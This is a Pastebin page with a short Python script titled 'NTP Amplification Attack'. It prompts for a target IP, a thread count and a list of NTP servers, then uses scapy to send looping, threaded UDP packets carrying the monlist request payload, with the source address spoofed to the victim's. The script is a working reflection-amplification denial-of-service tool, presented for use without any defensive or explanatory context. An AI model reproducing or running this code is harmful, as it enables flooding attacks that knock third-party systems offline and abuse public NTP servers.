Advertisement
thekin

Python - NTP Amplification Attack

Oct 6th, 2018
315
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.88 KB | None | 0 0
  1. import random
  2. import threading
  3. from scapy.all import *
  4.  
  5. try:
  6.     ip = raw_input("Target: ")
  7.     threads = input("Threads: ")
  8.     openList = raw_input("List: ")
  9.  
  10.     with open(openList, "r") as openedList:
  11.         lines = openedList.readlines()
  12.  
  13.     payload = "\x17\x00\x03\x2a\x00\x00\x00\x00"
  14.  
  15.     i = 0
  16.     ntpList = []
  17.  
  18.     for line in lines:
  19.         ntpList.append(line.rstrip("\n"))
  20.  
  21.     if int(threads) > int(len(ntpList)):
  22.         print("")
  23.         print("Current Threads: %s" % threads)
  24.         print("Max Threads: %s" % len(ntpList))
  25.         print("Quitting...")
  26.         quit()
  27.  
  28.     def ntpflood():
  29.         global i
  30.         try:
  31.             while True:
  32.                 port = random.randint(1, 65535)
  33.                 packet = IP(src=ip, dst=ntpList[i])/UDP(sport=port, dport=123)/Raw(load=payload)
  34.                 i += 1
  35.                 send(packet, loop=1, verbose=0)
  36.         except:
  37.             pass
  38.  
  39.     for i in range(int(threads)):
  40.         thread = threading.Thread(target=ntpflood)
  41.         thread.start()
  42. except:
  43.     pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement